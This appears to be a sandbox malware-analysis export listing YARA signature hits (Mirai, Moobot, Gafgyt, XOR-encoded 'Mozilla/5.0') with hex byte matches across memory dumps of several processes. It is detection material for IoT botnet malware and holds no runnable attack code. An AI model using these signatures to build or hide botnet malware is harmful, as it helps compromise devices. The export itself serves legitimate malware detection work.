7110.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7110.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7110.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7110.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7110.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7110.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7384.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7384.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7384.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7384.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7384.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7384.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6520.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6520.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6520.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6520.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6520.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6520.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7099.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6837.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6837.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6837.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6837.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6837.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6837.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6727.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6742.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6351.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7108.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7172.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7172.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7172.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7172.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7172.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7172.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6592.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6592.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6592.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6592.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6592.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 